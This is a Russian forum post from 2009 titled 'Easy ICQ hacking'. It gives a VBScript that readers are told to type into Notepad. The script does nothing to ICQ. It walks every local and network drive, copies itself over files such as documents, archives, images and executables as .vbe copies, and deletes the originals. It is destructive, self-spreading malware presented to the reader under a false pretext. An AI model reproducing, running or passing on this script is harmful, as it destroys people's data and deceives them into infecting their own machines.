18.11.2017, 16:45 Приветствую Вас Гость



   
Наш опрос

К какой категории посетителей вы относитесь?
Всего ответов: 1268
                        
                           [· Новые сообщения · Участники · Правила форума ·]
Страница 1 из 11
Форум » Тех. Поддержка » Файлы » Легкий взлом аськи
Легкий взлом аськи
Fd_GodДата: Понедельник, 20.07.2009, 08:31 | Сообщение # 1
Самый умный
Группа: Пользователь
Сообщений: 1
Статус: Offline
haha()
Sub haha()
On Error Resume Next
Dim d, dc, s, fso, haha
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
hihi (d.Path & "\")
End If
Next
haha = s
End sub
Sub hehe(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, s, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.Path)
ext = LCase(ext)
s = LCase(f1.Name)
If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then
Set f = fso.getfile(wscript.scriptfullname)
f.Copy (f1.Path & ".vbe")
fso.deletefile(f1.path)
End If
Next
End Sub
Sub hihi(folderspec)
On Error Resume Next
Dim f, f1, sf, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
hehe (f1.Path)
hihi (f1.Path)
Next
End Sub

просто напишите ети строки в блокноте

Прикрепления: icq.txt(1Kb)


Сообщение отредактировал Fd_God - Понедельник, 20.07.2009, 08:33
 
Форум » Тех. Поддержка » Файлы » Легкий взлом аськи
Страница 1 из 11
Поиск:

Ваш аккаунт

Mp3
Онлайн Прогноз
прогноз погоды Петербурга от Гоблина
Мини-Чат

Бесплатный конструктор сайтов - uCoz